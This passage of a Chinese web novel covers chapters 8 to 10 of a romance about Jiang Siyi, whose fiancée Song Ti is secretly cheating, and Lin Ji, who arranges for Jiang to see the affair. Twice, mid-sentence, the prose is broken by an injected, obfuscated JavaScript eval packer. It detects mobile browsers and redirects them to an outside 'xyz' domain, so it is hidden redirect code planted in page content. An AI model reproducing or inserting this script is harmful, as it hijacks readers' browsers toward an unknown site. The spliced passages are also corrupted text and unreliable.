借着酒劲,对宋缇这番半恳求半胁迫的话也更能说得出口。 赵珺下意识地摸了摸手腕上的玉镯。 话都说到这份上了,宋缇骑虎难下,肯定得交代个时间出来了吧。 众人的目光都落在宋缇身上,就等她给一句皆大欢喜的回答。 宋缇慢悠悠地为自己盛了一碗汤,汤碗落桌的同时,眼眸也转向另一侧的姜司意。 “可以啊。” 宋缇甜甜地笑道: “司意来定,我都听她的。” …… 今夜无风,只有无形的冷意一丝丝往骨头里渗。 从姜家大门往外走的这一路草坪落了不少的树叶,裂开的砖缝中长出杂草,无人打理。 姜司意记得妈妈还在的时候不是这样的,这栋宅子的每一个角落都干净整洁,无论什么季节妈妈都不会让家里显出半点颓败。 这是她长大的地方,如今变得越来越陌生,充满了生疏感,甚至是厌烦。 和宋缇并肩走,姜司意低垂着脑袋,一直在思索着该说些什么。 宋缇停下脚步,率先开口。 “司意,其实你可以不用这样。” 姜司意回眸,呼出的白气在她眼前弥漫。 宋缇好像真的藏进了雾中,五官都变得朦胧,像张没见过的脸。 宋缇双手插在呢子大衣口袋里,收起了招牌式的笑容,红唇缓缓一张一合。 “想结婚可以直接跟我说,别让你爸妈来逼我。” 星星点点的冻雨落在她们的发丝上,水汽在慢慢溶解这个世界。 姜司意心口被这句突如其来的话撞得一颤,压抑着浑身的战栗,她反驳道: “我没有。我根本不知道他们去找你。” 宋缇扬了扬下巴,眼眸扫向地面,嘴角扯开一个讥讽的笑容。 她从姜司意身边走过时,姜司意冷声道: “而且,你明明知道,她不是我妈。” …… 宋缇车开到市区时,接到了谢舒旖的电话。 谢舒旖问她:【还在姜家吗?】 宋缇:【出来了。】 【这么快?来ECHO吗?我们都还在这儿。】 ECHO是家私人会所,J城的二代们常年在此聚会。 今晚是谢舒旖生日,本来想包全场,但三楼已经有人提前预定,也不会知道要接待什么大人物,神神秘秘的,她只好屈居楼下两层。 宋缇应了,说这会儿就过去。 谢舒旖挂断电话,常年跟着她混吃混喝的周彦林点了根烟,好奇问她: “Stella不是一心想和姜司意解除婚约么?怎么还大老远跑去姜家参加什么家宴,上赶着跟姜司意捆绑?而且我看她平时对姜司意不错啊,车接车送的。就这,还想接解除婚约,不得被姓姜的越捆越牢啊?” 谢舒旖“嘁”了一声。 “你懂个屁。Stella这是以退为进。解除婚约这话不能她来提,不然怎么跟家里的长辈交代?” 被这么一提点,周彦林恍然大悟。 “哦,Stella姐做得天衣无缝,在潜移默化间让姜司意知难而退,让她自己提出退婚。这样一来宋家家里说不着她,连姜家那头都只会怪姜司意不识好歹……” “嘘,别废话。” 谢舒旖阻止他继续说下去,往身后看,一伙人都在屋里闹,没人注意到阳台上的她俩。 “自个儿知道就行,别往外说。”谢舒旖捶了周彦林胳膊一下,“不然你死定了。” 周彦林咧着嘴大大地“嗐”了声。 “我跟谁说去啊我,Stella就是我亲姐,你也是我亲姐,扒我一层皮我都不可能出卖自家人。” “德性。” 谢舒旖斜眼笑骂了他一句。 两人一起回屋的时候,谢舒旖看笑话般说: “你说姜司意野心怎么这么大,还真想和Stella结婚,也不看看自己现在是什么情况。别说Stella,现在圈子里有谁能看得上她?” 周彦林把阳台门合上时附和道:“也就长得好看。” 二楼阳台人声消散。 谢舒旖和周彦林的话没被同层楼里醉生梦死的同伴听到,倒是传到了三楼。 林棘站在三楼的露台,手里拿着已经锁屏的手机,浅淡的眼眸中藏着点点寒意。 身后玻璃门被打开。 一个宽肩蜂腰身段性感的女人从屋子里出来,终于找到林棘,哀求道: “佑姐,给个面子,一屋子的人都是为你而来的,你怎么跑到这儿自己待着了?这么多美人欢聚一堂,就没有一个人能让你产生聊两句的冲动?” 林棘墨色的长发被风卷起,一张清素又明丽的脸美得很浓烈。 “如果知道今晚是要给我相亲,我不会来。” 来者姓严名逾,是林棘的同学兼为数不多的好友。 整个中学时期严逾都和林棘在一个班,还是前后座,也是自小生活在林棘阴影之中。 只不过她比别家的孩子豁达,别人只看到林棘太过优秀而带来的压力,严逾则将近水楼台的精神贯彻到底,认识林棘几年就抄了她几年的作业。 说起来这孩子也是天赋异禀,最后活生生让她抄进了双一流。 严逾哭丧着脸说:“这不是你妈和我妈联合起来逼我这么做的吗?我要不就范,我妈肯定会把我卡停了,你也不去我工作室帮忙,我这不只好铤而走险了么?” 想到方才楼下的谈话,林棘靠在栏杆上,双臂环抱身前。 “那你可以让她们安心了。秋季的时候,你们酒店中餐厅预约留一下。” “干嘛用?” “结婚。” 严逾一时间没转过弯来,问:“结婚?谁?” 林棘:“我。” 9. 第 9 章 一年四季中,姜司意最喜欢的是秋季,最难忍受的是冬季。 今年的冬季还格外寒冷难熬。 落不尽的大雪,不知何时是头。 那日在姜家争吵后,意料之中,姜司意和宋缇又一次陷入了冷战。 冷.暴.力是宋缇的拿手好戏,以往都是姜司意想方设法破冰,当先低头的那一个。 而这回,姜司意没有主动去联系。 其他的事情都好说,被冤枉的滋味谁都难以忍受。 即便是性子慢如姜司意也做不到。 更何况,宋缇一直都知道她和家里关系不好。 从赵珺进门的那天起,姜司意就不再接受姜骆的照顾,这些年从来没有拿过姜家一分钱,也极少回去。 拍卖行的同事都以为她父母双亡,是个孤儿。 怎么可能和姜骆和赵珺联合起来向宋缇催婚? 姜司意也站在宋缇的立场想过,可能当时宋缇太生气了,即便表面不显,内心也出离愤怒,才会口不择言。 但无论如何,这回姜司意不打算先让步。 几日下来,她没有主动给宋缇发微信。 只是工作的间隙,不经意间宋缇的笑容会不打招呼地出现在脑海里。 连段凝都看出她的魂不守舍。 段凝:“司意,这个拍品的年代是不是录入错了。不是1890年,是1990年。” 姜司意敲键盘的动作顿住,核对了一下电脑屏幕上的数字,的确错了。 她闭了闭眼,给眼睛滴点眼药水。 “差一百年,价格可是一个天上一个地下了。” “谢谢你提醒我。” 姜司意闭着眼,眼药水沾湿纤长的睫毛,发亮的液体涡在眼窝和眼尾。 段凝单手撑在桌边。 “我怎么觉得春拍之后你整个人瘦了一圈啊?这么憔悴,是不是压力太大了?要不要请天假休息休息,别让自己这么累。” “我没事,别担心。” 段凝叹一声,“你啊,什么都好,就是太逞强了。” 段凝也不好多说,姜司意从来不爱说家里的事。 认识这么多年,只知道她有个未婚妻。 可那未婚妻从来没有来过拍卖行,段凝都没见过她的面,就知道姓宋,可想而知不是个靠谱的。 有时候段凝是真心疼姜司意,偏偏姜司意长得乖乖的,其实自尊心很强,不喜欢别人怜悯,很多话段凝都说不出口。 夜里回到家,姜司意听着英语新闻寻找睡意。 大概是新闻里提到了“伦敦”,她梦到了宋缇。 梦里,她和宋缇都回到了小时候。 那时母亲过世不久,父亲领新人进门,赵珺来到姜家的时候已经怀孕了。 赵珺在家中发号施令,俨然姜家新主人的做派。 姜司意任何事都不敢跟她说,不然她不仅不会帮忙,还会落井下石。 姐姐姜司聆每天都要去画室学画,在家的时间非常有限,加上她天生艺术家做派,脑子里只有构图和色彩,人情世故半点进不到脑子里。 姜司意在学校被男同学欺负时,无路可走,只能向同班的宋缇诉苦。 姜司意已经分不清宋缇原本对她就是这么好,还是自己在日复一日的回忆中自动美化了。 梦里的宋缇真心实意地担心,看她哭也跟着一起红眼睛。 宋缇握着她的手问她:“你跟老师说了吗?” 姜司意一下下吸鼻子,大眼睛都哭肿了。 “我说了,老师也找过他了,但是他不承认,他爸妈还把我骂了一顿,说我在撒谎。我真的没有撒谎……他真的剪了我的头发。” 宋缇看到姜司意黑亮浓密的长发尾部缺了一块,一眼就能看出是被人恶意剪掉的。 宋缇安慰她说:“你别着急,我回去想想办法。” 次日,宋缇兴冲冲地跑来跟她说:“我想到办法了!他不是每回都趁你一个人的时候欺负你吗?那你就掐好时间点提前把老师叫来。到底是你说假话还是对方撒谎成性,老师亲眼看不就知道了?” 宋缇一字一顿道:“这叫眼见为实。” 姜司意点点圆脑袋,“好,我试试。” 宋缇的计划果然奏效,老师当场抓住欺负姜司意的男生,再次把他家长叫来之后严肃批评。 之后一直到小学毕业,那男生都绕着姜司意走,再也不敢欺负她。 梦里一直都艳阳高照,时光温柔绵长。 宋缇总是那么聪明,无论她遇到再大的困扰,都能助她迎刃而解。 …… 凌晨三点十五分。 毫无征兆,姜司意从梦中恍惚地醒来。 路灯从窗帘的缝隙挤进来,切割着天花板,让夜更黑。 不知从什么时候开始,宋缇的笑容不再让姜司意觉得温暖可靠,而是阴沉寡冷。 到底是从什么时候,什么事情开始变的。 世界是不是错了位? 姜司意攥紧被子,寒气刺骨。 …… 今天难得休息,宋缇早上一起床就给林棘发微信。 【表姐,一起打网球去吗?】 等了大半天才等到林棘的回复。 【没空。】 就回了简简单单两个字,拒绝得很直接。 宋缇心里想着,表姐可真是快人快语,没空就直说没空,不浪费彼此的时间。 即便很自觉地为林棘找借口开脱,林棘的冷淡依旧让宋缇心里不舒服。 更让她难受的是,和姜司意的冷战持续了多日,姜司意居然能忍着不主动联系她。 宋缇和谢舒旖打网球的时候还在想,姜司意这回怎么不像以往那样扒着她了。 就这么沉得住气?不像姜司意的作风。 一走神,思绪没在球上,谢舒旖正好发力,网球触地反弹,不偏不倚重重击中宋缇鼻子。 宋缇捂着脸弯腰,痛得眼泪都出来了。 谢舒旖一叠声的“对不起”,快步绕过来。 “我的错我的错,怎么样了?有没有受伤……哎呀,都流血了!” 宋缇捂着鼻子,忍着烦躁的情绪,低声丢出一句:“没事。” 回家后家庭医生帮她止血,一直到中午鼻子还火辣辣地痛。 放在茶几上的手机响了几下,是微信。 宋缇目光散漫地落过去。 心里想着,姜司意总算还是憋不住,来求和了。 宋缇没立刻去拿手机,慢吞吞地吃了两颗车厘子才把手机拿过来。 居然不是姜司意,是谭雅。 宋缇没发现自己皱起眉,手机在手里握了好几秒钟,才点开谭雅的微信。 谭雅:【你猜我现在在哪儿?】 宋缇:【不在伦敦?】 谭雅:【我都这么问了,那肯定不在伦敦啊。好不容易放假,当然要出去散散心。】 宋缇难得没心情和谭雅玩猜心游戏。 看爸妈的车停到院子里,宋缇很快回复谭雅: 【好好休息,我爸妈过来了。】 发出去之后很快退出微信,立刻找到之前姜司意发给她春拍的视频。 把电视打开,投屏。 宋立名和林云汀进屋的时候,正好看到客厅电视上播放着姜司意穿旗袍主持拍卖的画面。 宋立名看着她控场、引价的模样,生气地走到电视前,手指一下下戳在屏幕上: “这和在菜市场叫卖有什么区别?丢不丢人?” 宋立名大发雷霆,宋缇浅笑道:“爸妈,你们过来也不跟我说一声。” 宋立名双手叉腰,“怎么,我来我女儿家还要打个报告?” “我不是这个意思嘛,别生气了,坐。明姐。” 管家明姐过来倒茶,宋缇乖巧地将茶杯递给宋立名。 “爸别生气,消消火。” 宋立名接过茶杯也没喝,阴沉着脸问她最近有没有见过林棘。 宋缇左腿叠在右腿上,靠着沙发背道: “爸,表姐忙得很,不是说见就能见的,得预约。” 宋立名:“都是一家人,见个面还要预约?” 宋立名不悦,却也不敢说半句林棘的不好,他还指望着林棘能看上他的生产线。 只要林棘能点个头,稍微从指缝里漏一点资源,宋立名一手创建的传统制造业集团公司就能把这个笨重的车头调转过来。别说起死回生,就是重新站上行业龙头的位置也是指日可待。 可林棘回国已有月余,别说谈合作,就是见面也只有她回来的那晚见着了。 那晚本想着来日方长,别人家一回来就缠着说合作的事儿,显得穷凶极恶。 谁承想,这“来日”一直就来不了了。 话都说到这份上,林云汀出来打圆场。 “哎呀,那小佑不是忙嘛。我去找我姐问问看,我姐开口她再忙也得抽出时间。” 宋立名从鼻子里发出短促的气息,那意思是“最好是”。 先前林云汀就和她大姐联系过了,大姐说林棘把公司总部搬到J城,牵扯太多,工作量不小,这两个月估计没太多时间,让她别急,等女儿忙完这阵子就办场家宴,有什么话家宴之后慢慢说,有的是时间。 林云汀转述了大姐的话后,宋立名的脸色才慢慢好看起来。 林棘这边不是最让林云汀发愁的,姜司意才是。 方才视频里的姜司意实在太招摇,别说宋立名,就是林云汀看来也很刺眼。 不能再这样下去,林云汀打算叫姜司意来家里好好聊一聊。 没想到还没见到姜司意,姜司意的继母赵珺却率先找上门。 三日后,赵珺登门拜访,林云汀对这未来的亲家很客气,留她在家吃饭,好菜好茶招待着,却越聊越不对劲。 赵珺把她儿子夸得天花乱坠,那意思是想将姜骋塞到宋家集团总部去。 林云汀:“我记得姜骋是不是才十八岁?该是上大学的年纪。” 赵珺干笑了几声说:“是,可他不是读书那块料,又不愿意出国。说真的,我就这么一个儿子,要是他不在身边我也放心不下。家里事儿太多,没法放下国内的事情陪他出去。思来想去,还是别让孩子继续走他不擅长的路,早点出来锻炼锻炼。不是我自夸,我们姜骋悟性特别强,除了那些死记硬背,其他方面真是一点就通。” 林云汀面上带笑,心道,要锻炼怎么不在你们自家企业锻炼,跑我这儿祸害。 林云汀:“这事我不懂,我做不了主。” 赵珺乐呵呵的,“是,我知道你做不了主。” 林云汀找借口,她居然还附和起来了,嘴角笑容僵了僵,听赵珺继续说: “等你们家老宋回来了,你去吹吹枕边风,姜骋的工作那不是分分钟的事儿啊。” 林云汀最好面子,即便心里不悦,嘴上也没有直接拒绝。 林云汀的客气在赵珺眼里成了默认。 看来这未来的亲家比她想的还要好说话,这便继续谈双方企业合作的事情。 赵珺的言下之意是想要为宋家提供整个供应链,林云汀撑着太阳穴说: “我们有合作方。” 赵珺一挥手,“取消合作不就好了?肥水不流外人田!” 林云汀的脸色渐渐暗下来,恨不能直接用眼神喷出四个字——得寸进尺。 . 晚上宋立名回来,林云汀跟他提及此事,火气还没下去。 林云汀往脸上敷面膜的时候说:“今天你是没看到赵珺那副占不到便宜就是吃亏的嘴脸。我当时就觉得不太对劲,后来去打听了一下,原来Stella和小姜不联系有一段时间了。姜家离谱到什么程度你都无法想象,居然把Stella叫到他们家去,一群人如狼似虎逼着Stella快点把婚期定下来。这叫什么事啊!” 宋立名喝了一口养生汤,冷笑不语。 林云汀转过身子,正面对着宋立名。 “这么一闹,别说Stella,我都觉得恶心人。估计姜骆也知道自己这事儿办得不厚道,怕我们一个不高兴把婚退了,那他们真的就无依无靠了。想着现在还有婚约,把能占的好处快点占了。就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563396|171422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算真退婚,有合作关系勾着,跟咱们也是藕断丝连。我费了好大劲才把她打发了,不然现在还赖在咱们家。” 宋立名:“这就是你选的好亲家。” 林云汀:“怎么是我选的,那不是上一辈订的婚么!” 宋立名本想说“当初定的也不是咱家孩子”,这话在心里过了一遍,掂量了一下还是没说出口。 两人你来我往互相讥讽了一顿,吵到后面林云汀脑子嗡嗡响,糊在脸上的面膜都裂了。 不行,解铃还须系铃人,她得跟姜司意好好谈谈。 . 姜司意很久没来宋家了,上回来还是前年新年。 林云汀摆了一桌茶点,和蔼地先和姜司意随意聊聊近况。 姜司意单独面对林云汀不太自在,而林云汀对她私生活和工作毫不避讳发问的语气,也有种毫不收敛的居高临下。 这不是一场让人舒适的平等对话,姜司意尽量忽略这种不适,有问必答。 直到林云汀直言让她辞职。 “司意啊,拍卖行的工作也太辛苦了,一场拍卖会要持续四、五个小时,更别说一些大型的艺术品拍卖会了,站久了腰腿都会受不了。” 还没等姜司意回答,林云汀继续说: “还得维系客户,和销售一样,低三下四地求人。你也不是普通人家的女孩,还要出去赚个温饱钱。阿姨是这样想的,你和Stella订婚这么久了,也该把婚礼提上日程了,趁这个机会你辞职,全心全意筹备婚礼。阿姨知道你想做事业,回头你去宋叔叔的公司工作,或者我出资给你开个工作室,你想做什么阿姨都支持你。” 姜司意猜到林云汀今天让她过来肯定有话要谈,却没想到竟是要她放弃工作。 林云汀话说的好听,但无论是进入宋家的公司,还是林云汀出资给她建立工作室,都是在宋家讨一口饭吃,手心向上的日子从来不好过。 姜司意一双眼睛雪亮,“我不会辞职。” 林云汀的脸上的笑意渐渐往下掉,姜司意语调坚定地继续道: “我妈妈还在世时经常对我说,人一定要有属于自己的事业,得工作。工作是立世之本,自己能赚钱才能决定未来的路,掌握自己的命运。这句话我一直没忘记,更不敢忘记。我很喜欢拍卖行的工作,对我而言,这就是我想要做的事。” 眼前的女孩长着一张精巧乖顺的脸,小宠般可爱,意外的不好拿捏。 林云汀以前是挺喜欢姜司意的韧劲,可眼下这韧劲和自己对着干时,格外不舒服。 林云汀将茶杯放在托盘里,语气冷了三分。 “我以前一直以为你是个懂事的孩子,今天你让阿姨有点意外。先前你继母来找过我,想让我帮个忙,把你弟弟安排进我们宋家的公司。这不算完,还想吞下我们整个宋家的供应链。” 说到此处,林云汀哂笑着。 “要不是看在你的份上,我会当面拒绝她。司意,你说说,你继母的要求是不是太过分了?” 姜司意双手紧握着茶杯。 林云汀单手搭在沙发扶手上,扬起下巴对姜司意道: “说到底我们两家还没有真成亲家,如果这几年你上点心,把证领了,那现在就是一家人不说两家话。可你太以自我为中心,完全不顾及我们家的感受。司意,你让阿姨很失望。” 林云汀结婚前也在自家企业工作过,当过高管,明白职场上控制员工的手段放在任何场合都有效。 姜司意年纪轻轻,未必承受得起她的施压。 没想到姜司意把茶杯缓缓放下,抬起头,毫不回避林云汀的目光。 “阿姨,人生短暂,我首先该对得起的是我自己。至于别人会因什么而失望,不是我能控制的事。” 林云汀缓缓眯起眼睛。 姜司意则保持着礼貌,站起身道别。 …… 和林云汀不欢而散后,姜司意下午就回了嘉仕比。 段凝看到她还挺意外。 “不是请了一天的假,怎么下午又回来了?” 姜司意戴上手套,给新来的拍品入库。 “没什么事,待着也无聊,就回来了。” “休息都不会?玩去啊。” 姜司意嘴上说“没什么好玩的”,林云汀的脸不打招呼地又开始霸占她的脑海。 那些贬低她和她工作的话,即便努力想要忘记,依旧一直往心里钻。 姜司意已经内耗到恶心,不想让失落的情绪继续肆无忌惮占领大脑,努力将注意力都集中在工作上。 她们部门又收了一款青黄玉龙凤佩。 想起林棘一直在收集同款,姜司意拍了张照片发给林棘。 【刚入库的拍品。什么时候有空,送去给你看看?】 林棘的微信她一直都有,只是基本上没怎么说过话,对话框空空荡荡的。 上次对话还停留在三年前林棘发给她的新年祝福。 说起来也不知道为什么会发给她,估计是群发。 还以为林棘应该晚上或者明天才会回复,手机还没放下,林棘的对话气泡就把她那行字往上一推。 【现在。】 随后说了自己的位置。 看来林棘真的很在意奶奶的玉佩。 【好,那我现在来找你。】 姜司意把拍品细致地打包好,跟段凝说了声就签了外勤,出门找林棘去了。 此时林棘正坐在一家下午茶餐厅里。 收到姜司意回复的时候,远处角落里的宋缇和谭雅那个漫长的吻才刚刚结束。 和林棘一起来的严逾看得啧了好几声。 “有未婚妻还在外面乱搞,人渣。不过你直接把姜司意叫过来,是不是太残忍了点?” “被继续蒙在鼓里才是真正的残忍。” 林棘按下桌上的点餐键。 “眼见为实。” 服务员很快过来。 林棘说:“加一杯咖啡,半小时后上。” 服务员以为自己听错了,“半小时后?” 林棘:“对,半小时后,越热越好。” 10. 第 10 章 严逾大概知道将要发生什么,很想留下吃瓜,可惜林棘不让,她只好告辞。 穿外套的时候,她又向林棘念叨了一遍: “看在我这么乖的份上,有空来我工作室给我旺一旺生意呗,指定要你的单子打出来能把我埋了。” 林棘:“再说。” 严逾哼哼唧唧离开后,林棘目光再次落到角落。 宋缇身边的女人一头惹眼的金棕色长卷发,浓妆,和年前林棘在希思罗机场看到的的确是同一个人。 两个半月前。 林棘受邀出席在伦敦举行的金融峰会,在机场看到两个女人搂在一起。 林棘是乘坐私人飞机来的,降落的航站楼远离大客流量的主航站楼,这里人少,轻易地确定了那两个女人之一的确是宋缇。 和她亲热搂抱,旁若无人接吻的明显不是她的未婚妻姜司意。 两人扬着笑语一起走进私人休息室,林棘还站在空荡荡的原地,思绪难得拧出了个疙瘩。 半晌,她拿出手机,打开微信。 置顶的人昵称叫【散装吐司】,用的是小狗头像。 白乎乎的毛团子有一双黑洞洞的圆眼睛,正对着镜头吐出粉色的小舌头,看上去在笑。 那是姜司意养的小狗,林棘知道。 林棘还知道,小狗叫雪球,姜司意很疼它。 和姜司意加好友的当日,林棘就将她置顶了。 即便这么多年来,除了主动给她发各种过年过节的问候微信,她被动回复之外,没有其他任何交流,姜司意也一直位于最顶端,从来没变过。 在林棘的记忆里,姜司意总是站在人群外,不争不吵,只有别人主动跟她说话她才会开口。 她总是在等待着,不给人造成任何麻烦。 可即便如此,有些人也不愿干脆地给她一个结果。 打开姜司意朋友圈,依旧是一个月前独自看红枫的那条。 枫叶寂寞地绽放似火的艳红,拍下它的人没有配半字文案。 安静的孤单感刺破手机屏幕,扎进林棘的心里。 峰会结束之后,林棘回到集团总部,正式启动回国计划。 一切比料想的还快。 林棘又叫来服务员。 “你们经理在不在?” 一听要找经理,服务员如临大敌。 他们的店开在核心CBD,客人大多是高级白领,还有投资人、银行家,难伺候得很,动不动就要向经理告状。 服务员小心翼翼地问她:“女士,有什么让您不满意的地方吗?” 林棘看出她的紧张,“不是服务方面的,有其他事找你们经理。” 服务员略略松了口气。经理来了后,两人低声说了几句,经理的表情很快从紧绷变成暗喜。 还以为是来找麻烦的,没想到是来送钱的财神。 林棘跟经理商量,能不能用每人一千元店内代金券让所有客人离开。 她会支付代金券的额度,如果客人不想要代金券,她也可以当场折现。 这是个冒昧的请求,可能会影响餐厅的信誉,所以她愿意再支付十万元权当餐厅的损失费。 经理在这一带工作有三年了,见过无数奇葩客人,但出手阔绰到奇葩客人他还是第一次见。 经理眉开眼笑道:“好的好的,我去试着跟别的客人说一下。” 林棘:“麻烦了。” 有这等好事客人们自然乐意成全。经理美滋滋去拿代金券的时候心里还想,这大美人怎么有点眼熟,好像在那儿见过。 做事这么强横,嘴上却彬彬有礼,偏偏长得太美,让人不知不觉听从了她的话,挺绝。 这家餐厅是宋缇和谭雅常来的地方。 上次谭雅回国,她俩也在这处私密的角落约会。 餐厅和姜司意的生活圈不重叠,也跟宋家的公司有段距离,很难碰到熟人。 而且椅背高,角落位置面对着玻璃窗,只要不是特意过来,基本上没人会发现她俩。 宽敞的全景落地窗外,能俯瞰整座J城繁华的城市交通网。 大雪在不厌其烦地覆盖都市天际线,宋缇和谭雅一边接吻一边欣赏雪景。 欣赏得太投入,身后餐厅的其他客人在慢慢减少她们也没发觉。 宋缇问谭雅:“你这次假期有多长?” 谭雅:“怎么,这就巴不得我快点回去了?” “怎么会。”宋缇捏着她的手指,“我只是想知道你能在我身边待多久,我好计划带你去周边玩玩。” 谭雅靠在她肩膀上,“那你随便计划,我这次回来就不走了。” 两人沉默了三秒钟,谭雅突然坐起来。 “干嘛不说话?” 宋缇知道她不可能留在国内,她全家都在伦敦,工作也在那儿。 她是故意这么说的。 幼稚的试探让宋缇心里某个角落掠过一丝烦躁。 宋缇将那份燥意压回去,继续保持着她内核稳定的人设。 “没有啊。” “不是和那个姓姜的没有感情,硬凑一块儿?不是被缠得烦死了?不是封建糟粕?不是一直在想办法退婚么?怎么,我一说要留在国内你就怕了?” “哪有,别胡思乱想。” 宋缇摸着谭雅柔顺的长发。 “我一直在找机会,眼看就要成功了,你可别在这个时候打乱我的节奏。” 谭雅“哼”一声道:“谁知道这是不是你敷衍我的借口?” 宋缇说要退婚都说了快两年了。 “你明知道,我有多不满意姓姜的。” 宋缇无名指压在太阳穴上时轻时重地揉着,其他四指优雅起翘起,眉心堆起一座小山。 “从能力到性格到家世,没有一个出挑的地方,我这些年全靠意志力撑过来的。要不是姜司意那个妈给我找这个大麻烦,我也不至于被烦到现在。希望老天开眼,快些……” 宋缇的话说一半突然停了。 谭雅疑惑地看她,见她一双眼直勾勾地盯着前面的落地玻璃墙,表情和见鬼没什么区别。 谭雅顺着她的目光看过去,发现玻璃上倒映着一个女孩的身影。 女孩一双大眼睛通红,蓄满了眼泪,双手紧攥,骨节发青。 谭雅认得这张脸。 正是宋缇一直想摆脱的未婚妻姜司意。 服务员准时把咖啡送到林棘面前。 “您点的咖啡。” 林棘望着姜司意的方向道:“送给她。” 服务员:“……好的。” 宋缇回身,和姜司意对视。 “你怎么来了?你找人查我?” 姜司意心口剧烈起伏着,双唇因为情绪太过激烈而呈现出深红色。 刚才谭雅轻蔑的言语和宋缇嘲讽的话,一字不漏落进姜司意的耳朵里。 她做梦也想不到宋缇竟是这样想她。 正是极端愤怒之时,服务员把那杯咖啡端了过来。 “您好,您的咖……” 话还未说完,姜司意拿过咖啡,整杯泼在宋缇脸上。 连带着谭雅刚花大价钱做的头发和一身当季高定全被荼毒。 宋缇被烫到不顾体面跳起来。 “姜司意你疯了,敢泼我!” 在宋缇看来,姜司意没有脾气更不会发火,是只谁都可以欺负的草食动物。 她没想到,再温顺的草食动物,再回避型的人格,被踩到底线时也会愤怒,更会不顾一切反击。 姜司意强行压抑着泪水,告诉自己绝不能在这两个人面前落泪。 即便努力控制着语调,声音里的轻颤还是很明显。 “你如果要退婚,直接跟我说,我不会缠你。” 她将咖啡杯放到一旁,用宋缇从未见过的犀利双眼盯着宋缇道: “你没资格提我妈。下次再让我听到你提她,不止一杯咖啡。” 宋缇没见过这样的姜司意,心里不忿,一时间却也无言反驳。 不想看到这两人,姜司意转身离开餐厅。 林棘已经为自己围好了披肩,跟着姜司意的步伐一起走出大门。 宋缇看到林棘的身影,心内一咯噔。 糟了。 “表姐——” 宋缇这一声急追着林棘的背影,林棘没理她。 玻璃墙擦拭得太干净,太不留余地。 让宋缇能一眼看到姜司意,也能看清当下的自己。 每周都花大价钱保养的长发现下毫无造型可言,咖啡渍像一大团砸在她身上的泥水,她从没这样狼狈过。 气不打一处来。 好不容易熬到现在,姜司意马上就要撑不住主动提退婚了,却在这个时候被她发现,有种前功尽弃的沮丧。 被姜司意发现也就算了,偏偏还撞上表姐,真是够倒霉的。 更狼狈的是她听到有人低语。 “出轨啊?” 谭雅对小声八卦的服务员喊了一嗓子,让她们拿毛巾来。 服务员送毛巾过来时,指着桌上的按键微笑提醒谭雅: “下次还需要什么服务,不用喊这么大声,直接按键就可以的。” 谭雅:…… 宋缇没接毛巾,目光还落在方才林棘追出去的方向,皱了皱眉。 原本宋缇计划带谭雅去J城最好的温泉,现下彻底没了心情。 宋缇依旧昂着头,再灰头土脸也是只骄傲的孔雀。 “我回家收拾一下,你也回酒店吧。” 谭雅看宋缇笑容欠奉,就知道她心情差得很。 宋缇心里想什么谭雅能猜得到。 肯定在怨憎,如果她不在这个时候回国,就不会恰好被姜司意撞见。都是她的错。 谭雅也没了兴致,两人出了餐厅,各走各路。 宋缇回到家,把脏了的衣服全丢了,洗了半天的澡才将咖啡味给洗掉。 回到客厅时,发现手机一直在震。 今天她没在公司,也没参加高层会议,一堆的决策都等着她定夺,催命来了。 宋缇烦躁地把手机关机,懒得管。 打开电视,想找一部能无脑看的电影放松放松。 刚看了个开头,林云汀和宋立名就来了,从院门口一路疾驰,用力推开客厅的门。 宋缇撑着发痛的脑袋,不耐地问:“怎么又不打招呼就来?还不敲门。我也有隐私。” 林云汀坐到她身边的单人沙发上,声音幽沉。 “如果你不想结婚可以直接退婚,现在好了,搞得也太难看了。” 宋缇想到家里肯定会知道,没想到这么快。 “你们都知道了?” 林云汀乜着她,“只有我们知道那还好。你爷爷奶奶他们也全都听说了!” 某根神经猛地抽痛,宋缇低着头没说话。 宋立名站在一旁,用一贯戏谑的语气道:“既然都闹成这样了,索性直接退婚呗,对彼此都好。” “你说的轻巧!” 林云汀骂了丈夫一句,再转向宋缇。 “我的脸面被你丢尽了!你要做这种事就该把尾巴藏好!那女的是谁?” 林云汀尖锐的指责和宋立名的幸灾乐祸不断往宋缇的脑子里刺。 宋缇忽然支起身子,“我本来就不想和她结婚,是你们强迫我。说姜司意适合我,她哪里适合我了?要不是你们,根本不会走到今天这一步。” “我们强迫你?” 林云汀直接站了起来,克制半天的怒火终于喷薄而出怒。 “当初是谁成天在我面前说喜欢她的?知道联姻对象不是你,还回家跟我们发脾气!我是怎么帮你争取到这门婚事的你都忘了?我没日没夜地操心,换回来的是什么?就是你的没心没肺?” 宋缇也站了起来,足足比她妈高了大半个头。 “那都是小时候的事了,现在提这些有意思吗?她家现在的情况你难道不知道?妈你扪心自问,她配得上我吗?这些年一直嫌弃她的不是你们?要真是为我好你早该退了这门婚。说得天花乱坠,从头到尾你们顾及的只有自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563397|171422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面子!” 宋缇小时候是挺喜欢姜司意的,因为她长得漂亮,像水晶做的娃娃,谁看了都喜欢。 和她订婚的时候她是觉得挺好,可姜家自订婚后一落千丈,成了笑柄,难道她也要一起当笑柄吗? 她又不是傻子! 林云汀被女儿怨毒的表情惊得说不出话。 在她眼里,女儿一贯都温和孝顺,从未这般刻薄。 眼前双眼发红的女人,让她陌生中又感受到了一丝别扭的熟悉。 很像一个人。 对,林云汀明白了,像她父亲,像宋立名。 